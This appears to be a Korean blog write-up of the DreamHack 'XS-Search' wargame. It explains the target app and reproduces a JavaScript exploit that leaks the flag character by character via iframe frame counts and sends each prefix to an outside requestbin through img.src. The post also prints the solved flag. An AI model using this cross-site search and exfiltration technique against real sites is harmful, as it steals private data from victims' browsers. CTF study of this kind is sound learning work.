상세 컨텐츠

본문 제목

[DreamHack] XS-Search

DreamHack/XSS

by obscurity_ 2024. 9. 17. 02:34

본문

https://dreamhack.io/wargame/challenges/443/

이번 문제는 드림핵 강의에서 제공하는 XS-Search 문제입니다.

notes = {
    (FLAG, True), 
    ("Hello World", False), 
    ("DreamHack", False), 
    ("carpe diem, quam minimum credula postero", False)
}

 

app.py의 내용에서는 notes라는 딕셔너리에서 FLAG값을 정의하고 있습니다.

플래그만 True이고 나머지는 False네요.

이것이 무엇인지는 이따가 보겠습니다.

@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "GET":
        return render_template("submit.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        if not urlparse(url).scheme.startswith("http"):
            return '<script>alert("wrong url");history.go(-1);</script>'
        if not read_url(url):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

submit 경로에 접속했을 때는 POST 방식으로 데이터를 전송했을 때

url이라는 파라미터로 받고 있습니다.

받은 파라미터가 실제로 존재하는 url인지 검증하는 과정에서 read_url을 통해

해당 url에 접근하는 것으로 보입니다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(url)
    except TimeoutException as e:
        driver.quit()
        return True
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

 

read_url 함수에서는 입력한 값에 대하여 접속을 시도하는 것으로 정의되어 있습니다.

 

@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)

 

search 경로에서는 query라는 키의 파라미터를 받고,

아까전에 딕셔너리로 정의한 notes를 반복문을 통해서 돌면서

첫번째 값을 note로, 참거짓을 정한 두번째 값을 private이라는 값으로 받고 있습니다.

 

그렇다면 반복문이 1회 실행되었을 때 note에는 FLAG값이, private에는 True가 들어있을 것입니다.

 

만약 private이 True로 설정되어 있다면, 요청하는 ip가 로컬이어야 하며

호스트의 헤더는 127.0.0.1:8000이어야 합니다.

즉 로컬 내에서만 플래그에 접근이 가능하며 다른 외부에서는 접근이 차단되는 것을 알 수 있습니다.

 

이때 query의 값이 빈 문자열이 아니며 note에 해당한다면

result로 note 전체에 대한것을 리턴해주는 것을 볼 수 있습니다.

예를 들어서 flag 값이 DH{123456} 이라고 해봅시다.

그렇다면 notes는 아래와 같이 정의됩니다.

notes = {
    ("DH{123456}", True), 
    ("Hello World", False), 
    ("DreamHack", False), 
    ("carpe diem, quam minimum credula postero", False)
}

 

반복문이 실행되어 첫번째 반복문에서는 note가 DH{123456}이 되고, private은 True가 됩니다.

private이 True일 경우에는 접근을 시도하는 ip가 로컬이어야 하며

접속하려는 호스트 역시 127.0.0.1:8000이어야 합니다.

그래서 서버 내부에서만 플래그로 접속이 가능합니다.

 

이때 서버 내부에서 요청한 query의 값이 “DH{”로 안에 값이 무엇이든 항상 참이 된다면

플래그 전체를 search.html에 렌더링해주고 있습니다.

블라인드 SQLi에서 requests 모듈 사용할 때

if <keyword> in response.text:

이렇게 사용하는 것과 같은 방식입니다.

html 코드로 반환된 response.text의 결과값에 하나라도 일치한다면 참이 되는 것이죠

 

즉 DH{로 시작하여 여기서부턴 블라인드SQLi과 마찬가지로 일치하는 단어가 하나라도 있을 때마다 참이 반환되고,

그 반환되었을 때의 값을 플래그값에 추가하면 됩니다.

 


로컬이 아닌 외부에서 요청했을 때도 참을 반환해주는 다른 키워드들에 대해서 실험을 해보면

Dream이라는 글자를 삽입했을 때 일부가 일치하던 DreamHack이 반환된 것을 볼 수 있습니다

 

 

반면 일치하지 않는 단어를 입력한다면 아무것도 반환하지 않는 것을 볼 수 있죠

이때 일치하는 단어냐 아니냐는 iframe 태그가 사용되냐 안 되냐로 구분할 수 있습니다.

 

<h2>Search</h2><br/>
{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% else %}
  <form method="GET" class="form-inline">
      <div class="form-group">
          <label class="sr-only" for="query">/</label>
          <div class="input-group">
              <div class="input-group-addon">Query: </div>
              <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
          </div>
      </div>
      <button type="submit" class="btn btn-primary">Search</button>
  </form>

 

현재 search.html에서도 코드 상에서 result가 참일 경우에만 iframe 태그를 사용하고 있습니다.

submit에서는 요청한 url이 무엇이든 서버에서 접속하기 때문에

악성코드를 삽입한 개인서버를 열고, 해당 서버의 url을 submit에 제출하면

서버에서는 악성코드를 실행할 것이고, 해당 악성코드의 실행 결과에 따라서

requestbins 와 같은 서버로 전송을 보내게끔 유도하면 됩니다.

 

 
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }

    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }

    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";

        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `<a href=https://ieiewbt.request.dreamhack.games/$>https://ieiewbt.request.dreamhack.games/$</a>{secret}`;
                    break;
                }
            }
        }
    }

    exploit();

 

위 코드는 드림핵 강의에서 제공해준 코드입니다.

직접 풀어보려고 했는데, 오류가 너무 많이 발생했고

코딩 자체도 쉽지 않아서 강의에 있는 코드를 그대로 사용했습니다.

코드리뷰를 하자면 먼저 iframe은 비동기 방식으로 로드되기 때문에

함수를 반드시 비동기 방식으로 구성해야 한다고 나옵니다.

 

    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }

 

req 함수에서는 url이 들어왔을 때 현재 페이지의 iframe id를 갖는 요소를 찾은 뒤

해당 요소의 src 속성에 파라미터를 그대로 삽입합니다.

즉 요청받은 url 파라미터를 띄우는 iframe 태그를 사용하게 됩니다.

onload를 이용해서 해당 페이지를 띄웠을 때

해당 프레임 안에 있는 페이지에서 프레임의 개수를 찾게됩니다.

 

<iframe id="mainFrame" src="framePage.html"></iframe>
<html>
<body>
    <iframe src="nested1.html"></iframe>
    <iframe src="nested2.html"></iframe>
</body>
</html>

 

예시로 위의 index.html에서는 iframe 태그로 framePage.html을 띄우고 있습니다.

여기서 framePage.html이 로드되었을 때

iframe.contentWindow.frames.length를 사용하게 되면

framePage.html 내부에 있는 프레임의 개수인 2를 반환하게 되는 것이죠

 

그래서 만약 반환된다면 플래그와 입력한 query 파라미터의 값이

일부 일치한다는 것이므로 참인 것이고, 0이라면 일치하지 않는 부분이 있다는 것이 됩니다.

 

    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }

 

이때 req 함수에 들어가는 url 인자는 당연히 로컬에서 접근하는 search 페이지입니다.

로컬이 아니라면 플래그와 일치하는 것을 입력한다고 해도 거짓을 반환하게 되죠

 

    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";

        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://ieiewbt.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }

 

마지막으로 exploit 함수는 플래그에 사용되는 문자들을 만들어두고

secret값은 기본적으로 DH{ 로 시작하기 때문에 하드코딩 해둡니다.

반복문을 돌면서 secret에 } 가 포함되지 않을 때까지 반복하며

만약 참이 반환된다면 secert값에는 반복문에서 사용된 문자인 c를 추가하고

img.src 속성에 그 값을 추가함으로써 공격자의 requestbins 페이지에 요청을 보냅니다.

 

 

먼저 replit 사이트에서 attack.html 페이지를 만들고 해당 페이지에

드림핵에 나와있던 소스코드를 그대로 복붙합니다.

 

 

그 다음 드림핵의 submit 페이지에서 replit 페이지의 주소를 입력합니다.

그러면 attack.html에 접속하게 되고, 해당 페이지 내에서의 자바스크립트가 실행되어

서버의 로컬에 자동으로 계속 블라인드 요청을 보내게 되는 것입니다.

 

 

request bins를 보면 이렇게 플래그가 요청오는 것을 확인할 수 있습니다.

이유는 모르겠지만 전체 플래그가 한번에 오지는 않아서 저렇게 짤린 플래그를

다시 한 번 secret 값에 하드코딩 시켜줍니다.

 

 

 

이런식으로 바꿔주면 다시 또 그에 맞는 요청이 옵니다.

이제 위에 온 요청을 다시 한번 하드코딩 해줍니다.

이 과정을 몇번 반복하다보면 최종적으로 플래그가 출력됩니다.

 

플래그 : DH{22d1445ad68e194e044a16dc644371f3}

'DreamHack > XSS' 카테고리의 다른 글

[DreamHack] CSS Injection  (1) 2024.09.08
[DreamHack] DOM XSS  (9) 2024.09.06

관련글 더보기